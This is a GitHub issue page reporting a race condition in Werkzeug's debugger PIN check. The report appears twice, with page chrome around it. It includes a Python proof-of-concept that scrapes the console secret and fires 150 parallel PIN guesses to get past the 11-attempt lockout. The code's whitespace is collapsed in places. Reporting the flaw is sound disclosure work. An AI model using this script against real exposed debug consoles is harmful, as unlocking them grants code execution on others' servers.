You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
There is a race condition in debugger PIN authentication, specifically in DebuggedApplication.pin_auth() that allows to try more than 11 PINs. This happens because DebuggedApplication.pin_auth() does not properly handle parallel PIN authentication requests.
Program that reproduces the bug (assuming the app above is running on localhost:5000):
fromthreadingimportThreadfromrequestsimportgetthreads_up=0threads_to_start=150host='http://localhost:5000'response=get(f"{host}/console")
secret=response.text.split('SECRET = "')[1]
secret=secret.split('"')[0]
print("Secret:", secret)
wait=Truenot_exhausted=0defsend_code(pin):
# wait for other threads to start for sending all of threads' requests at the same timeglobalwaitwhilewait:
passglobalhost, secretresponse=get(f"{host}/console?__debugger__=yes&cmd=pinauth&s={secret}&pin={pin:09d}")
cookies=""forcookieinresponse.cookies.items():
cookies+="=".join(cookie) +"; "iflen(cookies) ==0:
cookies="None"print(f"PIN: {pin:09d} | Response: {response.text}\t| Cookies: {cookies}")
globalnot_exhaustedtry:
ifnotresponse.json()['exhausted']:
not_exhausted+=1except:
passglobalthreads_upthreads_up-=1print(f"Starting {threads_to_start} threads...")
foriinrange(0, threads_to_start):
print(f"Starting thread {i+1} of {threads_to_start}...", end='\r')
try:
Thread(target=send_code, args=(i,), daemon=True).start()
threads_up+=1exceptExceptionase:
print(f"Failed to start thread {i+1}: {e}")
# Make all threads send their requestprint(f"Threads started: {threads_up} out of {threads_to_start}. Sending requests...")
wait=Falsewhilethreads_up>0:
passprint("Total requests not exhausted:", not_exhausted)
Expected behavior
If parallel PIN authentications were handled properly, the program above would show that only 11 requests didn't receive "exhausted":true, but because they are not handled properly, the program above shows 150 instead (or any other value you set in threads_to_start var)
Environment:
Python version: 3.11.9
Werkzeug version: 3.0.3
The text was updated successfully, but these errors were encountered:
There is a race condition in debugger PIN authentication, specifically in DebuggedApplication.pin_auth() that allows to try more than 11 PINs. This happens because DebuggedApplication.pin_auth() does not properly handle parallel PIN authentication requests.
Reproduction steps
The app code:
Program that reproduces the bug (assuming the app above is running on localhost:5000):
Expected behavior
If parallel PIN authentications were handled properly, the program above would show that only 11 requests didn't receive
"exhausted":true
, but because they are not handled properly, the program above shows 150 instead (or any other value you set in threads_to_start var)Environment:
The text was updated successfully, but these errors were encountered: